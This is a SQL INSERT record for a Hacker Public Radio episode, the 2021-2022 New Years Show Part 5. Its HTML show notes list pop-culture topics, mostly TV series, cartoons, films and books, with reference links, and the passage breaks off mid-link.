INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (3682,'2022-09-13','2021-2022 New Years Show Part 5',11161,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\r\n<h3 id=\"part-5\">Part 5</h3>\r\n<p>What is a Recliner Chair</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Recliner\" class=\"uri\">https://en.wikipedia.org/wiki/Recliner</a></p>\r\n<p>Shillelagh</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Shillelagh\" class=\"uri\">https://en.wikipedia.org/wiki/Shillelagh</a></p>\r\n<p>Goedendag</p>\r\n<p><a href=\"https://www.military-history.org/feature/medieval/the-goedendag-medieval-weaponry.htm\" class=\"uri\">https://www.military-history.org/feature/medieval/the-goedendag-medieval-weaponry.htm</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Goedendag\" class=\"uri\">https://en.wikipedia.org/wiki/Goedendag</a></p>\r\n<p>Flail</p>\r\n<p><a href=\"https://medievalbritain.com/type/medieval-life/weapons/medieval-flail/\" class=\"uri\">https://medievalbritain.com/type/medieval-life/weapons/medieval-flail/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Flail_(weapon)\" class=\"uri\">https://en.wikipedia.org/wiki/Flail_(weapon)</a></p>\r\n<p><a href=\"http://myarmoury.com/talk/viewtopic.12645.html\" class=\"uri\">http://myarmoury.com/talk/viewtopic.12645.html</a></p>\r\n<p>That \'70s Show</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0165598/\" class=\"uri\">https://www.imdb.com/title/tt0165598/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/That_%2770s_Show\" class=\"uri\">https://en.wikipedia.org/wiki/That_%2770s_Show</a></p>\r\n<p>Tommy Chong</p>\r\n<p><a href=\"https://tommychong.com/\" class=\"uri\">https://tommychong.com/</a></p>\r\n<p><a href=\"https://www.imdb.com/name/nm0001045/\" class=\"uri\">https://www.imdb.com/name/nm0001045/</a></p>\r\n<p>That \'80s Show</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0305472/\" class=\"uri\">https://www.imdb.com/title/tt0305472/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/That_%2780s_Show\" class=\"uri\">https://en.wikipedia.org/wiki/That_%2780s_Show</a></p>\r\n<p>The Goldbergs</p>\r\n<p><a href=\"https://www.imdb.com/title/tt2712740/\" class=\"uri\">https://www.imdb.com/title/tt2712740/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Goldbergs_(2013_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Goldbergs_(2013_TV_series)</a></p>\r\n<p>Leverage - Redemption</p>\r\n<p><a href=\"https://www.imdb.com/title/tt12197698/\" class=\"uri\">https://www.imdb.com/title/tt12197698/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Leverage:_Redemption\" class=\"uri\">https://en.wikipedia.org/wiki/Leverage:_Redemption</a></p>\r\n<p>The Librarians</p>\r\n<p><a href=\"https://www.imdb.com/title/tt3663490/\" class=\"uri\">https://www.imdb.com/title/tt3663490/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarians_(2014_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarians_(2014_TV_series)</a></p>\r\n<p>Warehouse 13</p>\r\n<p><a href=\"https://warehouse13.fandom.com/wiki/Warehouse_13_(Series)\" class=\"uri\">https://warehouse13.fandom.com/wiki/Warehouse_13_(Series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1132290/\" class=\"uri\">https://www.imdb.com/title/tt1132290/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Warehouse_13\" class=\"uri\">https://en.wikipedia.org/wiki/Warehouse_13</a></p>\r\n<p>The Librarian (TV Movies)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian_(franchise)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian_(franchise)</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian:_Quest_for_the_Spear\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian:_Quest_for_the_Spear</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian:_Return_to_King_Solomon%27s_Mines\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian:_Return_to_King_Solomon%27s_Mines</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian:_Curse_of_the_Judas_Chalice\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian:_Curse_of_the_Judas_Chalice</a></p>\r\n<p>Falling Skies</p>\r\n<p><a href=\"https://fallingskies.fandom.com/wiki/Falling_Skies_Wiki\" class=\"uri\">https://fallingskies.fandom.com/wiki/Falling_Skies_Wiki</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1462059/\" class=\"uri\">https://www.imdb.com/title/tt1462059/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Falling_Skies\" class=\"uri\">https://en.wikipedia.org/wiki/Falling_Skies</a></p>\r\n<p>Sanctuary</p>\r\n<p><a href=\"https://sanctuary.fandom.com/wiki/Sanctuary\" class=\"uri\">https://sanctuary.fandom.com/wiki/Sanctuary</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Sanctuary_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Sanctuary_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0965394/\" class=\"uri\">https://www.imdb.com/title/tt0965394/</a></p>\r\n<p>How I Met Your Mother</p>\r\n<p><a href=\"https://how-i-met-your-mother.fandom.com/wiki/How_I_Met_Your_Mother\" class=\"uri\">https://how-i-met-your-mother.fandom.com/wiki/How_I_Met_Your_Mother</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0460649/\" class=\"uri\">https://www.imdb.com/title/tt0460649/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_I_Met_Your_Mother\" class=\"uri\">https://en.wikipedia.org/wiki/How_I_Met_Your_Mother</a></p>\r\n<p>Doogie Houser, MD</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Doogie_Howser,_M.D\" class=\"uri\">https://en.wikipedia.org/wiki/Doogie_Howser,_M.D</a>.</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0096569/\" class=\"uri\">https://www.imdb.com/title/tt0096569/</a></p>\r\n<p>The Wonder Years</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Wonder_Years\" class=\"uri\">https://en.wikipedia.org/wiki/The_Wonder_Years</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0094582/\" class=\"uri\">https://www.imdb.com/title/tt0094582/</a></p>\r\n<p>Defiance</p>\r\n<p><a href=\"https://defiance.fandom.com/wiki/Defiance_(TV)\" class=\"uri\">https://defiance.fandom.com/wiki/Defiance_(TV)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1034303/\" class=\"uri\">https://www.imdb.com/title/tt1034303/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Defiance_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Defiance_(TV_series)</a></p>\r\n<p>Firefly</p>\r\n<p><a href=\"https://firefly.fandom.com/wiki/Firefly\" class=\"uri\">https://firefly.fandom.com/wiki/Firefly</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Firefly_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Firefly_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0303461/\" class=\"uri\">https://www.imdb.com/title/tt0303461/</a></p>\r\n<p>KillJoys</p>\r\n<p><a href=\"https://killjoys.fandom.com/wiki/Killjoys\" class=\"uri\">https://killjoys.fandom.com/wiki/Killjoys</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt3952222/\" class=\"uri\">https://www.imdb.com/title/tt3952222/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Killjoys\" class=\"uri\">https://en.wikipedia.org/wiki/Killjoys</a></p>\r\n<p>Cowboy BeBop</p>\r\n<p><a href=\"https://cowboybebop.fandom.com/wiki/Main_Page\" class=\"uri\">https://cowboybebop.fandom.com/wiki/Main_Page</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Cowboy_Bebop\" class=\"uri\">https://en.wikipedia.org/wiki/Cowboy_Bebop</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0213338/\" class=\"uri\">https://www.imdb.com/title/tt0213338/</a></p>\r\n<p>The Orville</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Orville\" class=\"uri\">https://en.wikipedia.org/wiki/The_Orville</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt5691552/\" class=\"uri\">https://www.imdb.com/title/tt5691552/</a></p>\r\n<p>Star Trek Enterprise</p>\r\n<p><a href=\"https://memory-alpha.fandom.com/wiki/Star_Trek:_Enterprise\" class=\"uri\">https://memory-alpha.fandom.com/wiki/Star_Trek:_Enterprise</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0244365/\" class=\"uri\">https://www.imdb.com/title/tt0244365/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Trek:_Enterprise\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Trek:_Enterprise</a></p>\r\n<p>Eureka</p>\r\n<p><a href=\"https://eureka.fandom.com/wiki/Eureka_(TV_series)\" class=\"uri\">https://eureka.fandom.com/wiki/Eureka_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0796264/\" class=\"uri\">https://www.imdb.com/title/tt0796264/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Eureka_(American_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Eureka_(American_TV_series)</a></p>\r\n<p>Supernatural</p>\r\n<p><a href=\"https://supernatural.fandom.com/wiki/Supernatural_Wiki\" class=\"uri\">https://supernatural.fandom.com/wiki/Supernatural_Wiki</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0460681/\" class=\"uri\">https://www.imdb.com/title/tt0460681/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Supernatural_(American_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Supernatural_(American_TV_series)</a></p>\r\n<p>Project Hail Mary (book)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Project_Hail_Mary\" class=\"uri\">https://en.wikipedia.org/wiki/Project_Hail_Mary</a></p>\r\n<p>SETI - The Search For Extraterrestrial Intelligence</p>\r\n<p><a href=\"https://www.seti.org/\" class=\"uri\">https://www.seti.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Search_for_extraterrestrial_intelligence\" class=\"uri\">https://en.wikipedia.org/wiki/Search_for_extraterrestrial_intelligence</a></p>\r\n<p><a href=\"https://setiathome.berkeley.edu/\" class=\"uri\">https://setiathome.berkeley.edu/</a></p>\r\n<p>Red Dwarf</p>\r\n<p><a href=\"https://reddwarf.co.uk/\" class=\"uri\">https://reddwarf.co.uk/</a></p>\r\n<p><a href=\"https://reddwarf.fandom.com/wiki/Red_Dwarf\" class=\"uri\">https://reddwarf.fandom.com/wiki/Red_Dwarf</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Red_Dwarf\" class=\"uri\">https://en.wikipedia.org/wiki/Red_Dwarf</a></p>\r\n<p>Farscape</p>\r\n<p><a href=\"https://farscape.fandom.com/wiki/Farscape_Encyclopedia_Project:Main_Page\" class=\"uri\">https://farscape.fandom.com/wiki/Farscape_Encyclopedia_Project:Main_Page</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0187636/\" class=\"uri\">https://www.imdb.com/title/tt0187636/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Farscape\" class=\"uri\">https://en.wikipedia.org/wiki/Farscape</a></p>\r\n<p>Farscape: The Peacekeeper Wars</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0387736/\" class=\"uri\">https://www.imdb.com/title/tt0387736/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Farscape:_The_Peacekeeper_Wars\" class=\"uri\">https://en.wikipedia.org/wiki/Farscape:_The_Peacekeeper_Wars</a></p>\r\n<p>Deep Space 9</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0106145/\" class=\"uri\">https://www.imdb.com/title/tt0106145/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Trek:_Deep_Space_Nine\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Trek:_Deep_Space_Nine</a></p>\r\n<p><a href=\"https://memory-alpha.fandom.com/wiki/Star_Trek:_Deep_Space_Nine\" class=\"uri\">https://memory-alpha.fandom.com/wiki/Star_Trek:_Deep_Space_Nine</a></p>\r\n<p>Torchwood</p>\r\n<p><a href=\"https://tardis.fandom.com/wiki/Torchwood_(series)\" class=\"uri\">https://tardis.fandom.com/wiki/Torchwood_(series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0485301/\" class=\"uri\">https://www.imdb.com/title/tt0485301/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Torchwood\" class=\"uri\">https://en.wikipedia.org/wiki/Torchwood</a></p>\r\n<p>Robert Murray Smith - Battery Tech Youtube Channel (Bromine Fusion Reactor?)</p>\r\n<p><a href=\"https://www.youtube.com/c/RobertMurraySmith\" class=\"uri\">https://www.youtube.com/c/RobertMurraySmith</a></p>\r\n<p>Californication</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0904208/\" class=\"uri\">https://www.imdb.com/title/tt0904208/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Californication_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Californication_(TV_series)</a></p>\r\n<p>Mister Robot</p>\r\n<p><a href=\"https://mrrobot.fandom.com/wiki/Mr._Robot\" class=\"uri\">https://mrrobot.fandom.com/wiki/Mr._Robot</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt4158110/\" class=\"uri\">https://www.imdb.com/title/tt4158110/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Mr._Robot\" class=\"uri\">https://en.wikipedia.org/wiki/Mr._Robot</a></p>\r\n<p>American Gods (book and TV series)</p>\r\n<p><a href=\"https://americangods.fandom.com/wiki/American_Gods_Wiki\" class=\"uri\">https://americangods.fandom.com/wiki/American_Gods_Wiki</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/American_Gods_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/American_Gods_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1898069/\" class=\"uri\">https://www.imdb.com/title/tt1898069/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/American_Gods\" class=\"uri\">https://en.wikipedia.org/wiki/American_Gods</a></p>\r\n<p><a href=\"https://www.neilgaiman.com/works/Books/American+Gods/\" class=\"uri\">https://www.neilgaiman.com/works/Books/American+Gods/</a></p>\r\n<p>Neil Gaiman</p>\r\n<p><a href=\"https://www.neilgaiman.com/\" class=\"uri\">https://www.neilgaiman.com/</a></p>\r\n<p><a href=\"https://journal.neilgaiman.com/\" class=\"uri\">https://journal.neilgaiman.com/</a></p>\r\n<p><a href=\"https://www.mousecircus.com/\" class=\"uri\">https://www.mousecircus.com/</a></p>\r\n<p>Good Omens (book and TV series)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt1869454/\" class=\"uri\">https://www.imdb.com/title/tt1869454/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Good_Omens_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Good_Omens_(TV_series)</a></p>\r\n<p><a href=\"https://www.neilgaiman.com/works/Books/Good+Omens/\" class=\"uri\">https://www.neilgaiman.com/works/Books/Good+Omens/</a></p>\r\n<p><a href=\"https://www.terrypratchettbooks.com/books/good-omens/\" class=\"uri\">https://www.terrypratchettbooks.com/books/good-omens/</a></p>\r\n<p>The Pretender</p>\r\n<p><a href=\"https://pretender.fandom.com/wiki/The_Pretender\" class=\"uri\">https://pretender.fandom.com/wiki/The_Pretender</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0115320/\" class=\"uri\">https://www.imdb.com/title/tt0115320/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Pretender_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Pretender_(TV_series)</a></p>\r\n<p>Parker Lewis Can\'t Loose</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Parker_Lewis_Can%27t_Lose\" class=\"uri\">https://en.wikipedia.org/wiki/Parker_Lewis_Can%27t_Lose</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0098888/\" class=\"uri\">https://www.imdb.com/title/tt0098888/</a></p>\r\n<p>Ferris Bueller\'s Day Off</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0091042/\" class=\"uri\">https://www.imdb.com/title/tt0091042/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Ferris_Bueller%27s_Day_Off\" class=\"uri\">https://en.wikipedia.org/wiki/Ferris_Bueller%27s_Day_Off</a></p>\r\n<p><a href=\"https://www.inverse.com/culture/ferris-buellers-day-off-cameron-red-jersey\" class=\"uri\">https://www.inverse.com/culture/ferris-buellers-day-off-cameron-red-jersey</a></p>\r\n<p>Rock and Roll High School Forever</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0100504/\" class=\"uri\">https://www.imdb.com/title/tt0100504/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Rock_%27n%27_Roll_High_School_Forever\" class=\"uri\">https://en.wikipedia.org/wiki/Rock_%27n%27_Roll_High_School_Forever</a></p>\r\n<p>Inspector Gadget</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0085033/\" class=\"uri\">https://www.imdb.com/title/tt0085033/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt3910690/\" class=\"uri\">https://www.imdb.com/title/tt3910690/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Inspector_Gadget_(1983_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Inspector_Gadget_(1983_TV_series)</a></p>\r\n<p>Into The Badlands</p>\r\n<p><a href=\"https://www.imdb.com/title/tt3865236/\" class=\"uri\">https://www.imdb.com/title/tt3865236/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Into_the_Badlands_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Into_the_Badlands_(TV_series)</a></p>\r\n<p>Journey To The West</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Journey_to_the_West\" class=\"uri\">https://en.wikipedia.org/wiki/Journey_to_the_West</a></p>\r\n<p>Dark Crystal - Age Of Resistance (TV Show)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt6905542/\" class=\"uri\">https://www.imdb.com/title/tt6905542/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Dark_Crystal:_Age_of_Resistance\" class=\"uri\">https://en.wikipedia.org/wiki/The_Dark_Crystal:_Age_of_Resistance</a></p>\r\n<p><a href=\"https://www.syfy.com/syfy-wire/dark-crystal-age-of-resistance-netflix-lisa-henson-whats-next\" class=\"uri\">https://www.syfy.com/syfy-wire/dark-crystal-age-of-resistance-netflix-lisa-henson-whats-next</a></p>\r\n<p>Night Court</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0086770/\" class=\"uri\">https://www.imdb.com/title/tt0086770/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Night_Court\" class=\"uri\">https://en.wikipedia.org/wiki/Night_Court</a></p>\r\n<p>PBS</p>\r\n<p><a href=\"https://www.pbs.org/\" class=\"uri\">https://www.pbs.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/PBS\" class=\"uri\">https://en.wikipedia.org/wiki/PBS</a></p>\r\n<p>Metal Hurlant Chronicles</p>\r\n<p><a href=\"https://www.imdb.com/title/tt1629348/\" class=\"uri\">https://www.imdb.com/title/tt1629348/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/M%C3%A9tal_Hurlant_Chronicles\" class=\"uri\">https://en.wikipedia.org/wiki/M%C3%A9tal_Hurlant_Chronicles</a></p>\r\n<p>Metal Hurlant (comic/magazine)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/M%C3%A9tal_hurlant\" class=\"uri\">https://en.wikipedia.org/wiki/M%C3%A9tal_hurlant</a></p>\r\n<p><a href=\"https://www.openculture.com/2017/08/metal-hurlant.html\" class=\"uri\">https://www.openculture.com/2017/08/metal-hurlant.html</a></p>\r\n<p>Heavy Metal Magazine</p>\r\n<p><a href=\"https://www.heavymetal.com/\" class=\"uri\">https://www.heavymetal.com/</a></p>\r\n<p><a href=\"http://www.heavymetalmagazinefanpage.com/index.html\" class=\"uri\">http://www.heavymetalmagazinefanpage.com/index.html</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Heavy_Metal_(magazine)\" class=\"uri\">https://en.wikipedia.org/wiki/Heavy_Metal_(magazine)</a></p>\r\n<p>Heavy Metal (movie)</p>\r\n<p><a href=\"https://heavymetalmedia.fandom.com/wiki/Heavy_Metal_1981\" class=\"uri\">https://heavymetalmedia.fandom.com/wiki/Heavy_Metal_1981</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0082509/\" class=\"uri\">https://www.imdb.com/title/tt0082509/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Heavy_Metal_(film)\" class=\"uri\">https://en.wikipedia.org/wiki/Heavy_Metal_(film)</a></p>\r\n<p>Total Recall 2070 (TV Show)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0159920/\" class=\"uri\">https://www.imdb.com/title/tt0159920/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Total_Recall_2070\" class=\"uri\">https://en.wikipedia.org/wiki/Total_Recall_2070</a></p>\r\n<p>Sapphire and Steele</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0078682/\" class=\"uri\">https://www.imdb.com/title/tt0078682/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Sapphire_%26_Steel\" class=\"uri\">https://en.wikipedia.org/wiki/Sapphire_%26_Steel</a></p>\r\n<p>Sapphire and Steel Big Finish audio drama</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Mystery_of_the_Missing_Hour\" class=\"uri\">https://en.wikipedia.org/wiki/The_Mystery_of_the_Missing_Hour</a></p>\r\n<p>Dinosaucers</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0213341/\" class=\"uri\">https://www.imdb.com/title/tt0213341/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Dinosaucers\" class=\"uri\">https://en.wikipedia.org/wiki/Dinosaucers</a></p>\r\n<p><a href=\"https://dinosaucers.fandom.com/wiki/Dinosaucers\" class=\"uri\">https://dinosaucers.fandom.com/wiki/Dinosaucers</a></p>\r\n<p>Super Ted</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0085096/\" class=\"uri\">https://www.imdb.com/title/tt0085096/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/SuperTed\" class=\"uri\">https://en.wikipedia.org/wiki/SuperTed</a></p>\r\n<p>Bravestarr</p>\r\n<p><a href=\"https://hero.fandom.com/wiki/BraveStarr\" class=\"uri\">https://hero.fandom.com/wiki/BraveStarr</a></p>\r\n<p><a href=\"https://bravestarr.fandom.com/wiki/Bravestarr_Wiki\" class=\"uri\">https://bravestarr.fandom.com/wiki/Bravestarr_Wiki</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/BraveStarr\" class=\"uri\">https://en.wikipedia.org/wiki/BraveStarr</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0127471/\" class=\"uri\">https://www.imdb.com/title/tt0127471/</a></p>\r\n<p>Denver the Last Dinosaur</p>\r\n<p><a href=\"https://zagtoon.fandom.com/wiki/Denver_the_Last_Dinosaur\" class=\"uri\">https://zagtoon.fandom.com/wiki/Denver_the_Last_Dinosaur</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0190178/\" class=\"uri\">https://www.imdb.com/title/tt0190178/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Denver,_the_Last_Dinosaur\" class=\"uri\">https://en.wikipedia.org/wiki/Denver,_the_Last_Dinosaur</a></p>\r\n<p>Mummies Alive!</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Mummies_Alive!\" class=\"uri\">https://en.wikipedia.org/wiki/Mummies_Alive!</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0125633/\" class=\"uri\">https://www.imdb.com/title/tt0125633/</a></p>\r\n<p><a href=\"https://youtu.be/AO-qRSL9nng\" class=\"uri\">https://youtu.be/AO-qRSL9nng</a></p>\r\n<p>SWAT Kats: The Radical Squadron</p>\r\n<p><a href=\"https://90scartoons.fandom.com/wiki/SWAT_Kats:_The_Radical_Squadron\" class=\"uri\">https://90scartoons.fandom.com/wiki/SWAT_Kats:_The_Radical_Squadron</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0126173/\" class=\"uri\">https://www.imdb.com/title/tt0126173/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/SWAT_Kats:_The_Radical_Squadron\" class=\"uri\">https://en.wikipedia.org/wiki/SWAT_Kats:_The_Radical_Squadron</a></p>\r\n<p><a href=\"https://www.kickstarter.com/projects/1820796125/swat-kats-revolution\" class=\"uri\">https://www.kickstarter.com/projects/1820796125/swat-kats-revolution</a> (Kickstarter to bring the series back)</p>\r\n<p>How To Train Your Dragon</p>\r\n<p><a href=\"https://www.dreamworks.com/how-to-train-your-dragon\" class=\"uri\">https://www.dreamworks.com/how-to-train-your-dragon</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0892769/\" class=\"uri\">https://www.imdb.com/title/tt0892769/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1646971/\" class=\"uri\">https://www.imdb.com/title/tt1646971/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt2386490/\" class=\"uri\">https://www.imdb.com/title/tt2386490/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon#How_to_Train_Your_Dragon_(2010)\" class=\"uri\">https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon#How_to_Train_Your_Dragon_(2010)</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon_2\" class=\"uri\">https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon_2</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon:_The_Hidden_World\" class=\"uri\">https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon:_The_Hidden_World</a></p>\r\n<p><a href=\"https://www.polygon.com/animation-cartoons/22724287/how-to-train-your-dragon-tv-show-hulu-peacock-modern-day\" class=\"uri\">https://www.polygon.com/animation-cartoons/22724287/how-to-train-your-dragon-tv-show-hulu-peacock-modern-day</a></p>\r\n<p>Dungeons &amp; Dragons Cartoon</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0085011/\" class=\"uri\">https://www.imdb.com/title/tt0085011/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Dungeons_%26_Dragons_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Dungeons_%26_Dragons_(TV_series)</a></p>\r\n<p><a href=\"https://movieweb.com/dungeons-and-dragons-80s-animated-series/\" class=\"uri\">https://movieweb.com/dungeons-and-dragons-80s-animated-series/</a></p>\r\n<p><a href=\"https://www.tor.com/2022/01/11/revisiting-the-dungeons-dragons-animated-series/\" class=\"uri\">https://www.tor.com/2022/01/11/revisiting-the-dungeons-dragons-animated-series/</a></p>\r\n<p><a href=\"https://boingboing.net/2021/07/10/fans-animate-unfinished-last-episode-of-dungeons-and-dragons-cartoon.html\" class=\"uri\">https://boingboing.net/2021/07/10/fans-animate-unfinished-last-episode-of-dungeons-and-dragons-cartoon.html</a></p>\r\n<p><a href=\"https://www.thegamer.com/dungeons-dragons-cartoon-facts/\" class=\"uri\">https://www.thegamer.com/dungeons-dragons-cartoon-facts/</a></p>\r\n<p><a href=\"https://dungeonsdragons.fandom.com/wiki/Dungeons_%26_Dragons_(TV_series)\" class=\"uri\">https://dungeonsdragons.fandom.com/wiki/Dungeons_%26_Dragons_(TV_series)</a></p>\r\n<p><a href=\"https://en.wikiquote.org/wiki/Dungeons_%26_Dragons_(TV_series)\" class=\"uri\">https://en.wikiquote.org/wiki/Dungeons_%26_Dragons_(TV_series)</a></p>\r\n<p>Chip and Dale Rescue Rangers (TV cartoon &amp; Movie)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0096557/\" class=\"uri\">https://www.imdb.com/title/tt0096557/</a></p>\r\n<p><a href=\"https://youtu.be/Y5feVNIkX-I\" class=\"uri\">https://youtu.be/Y5feVNIkX-I</a></p>\r\n<p><a href=\"https://disney.fandom.com/wiki/Chip_%27n_Dale_Rescue_Rangers_(film)\" class=\"uri\">https://disney.fandom.com/wiki/Chip_%27n_Dale_Rescue_Rangers_(film)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt3513500/\" class=\"uri\">https://www.imdb.com/title/tt3513500/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Chip_%27n_Dale:_Rescue_Rangers_(film)\" 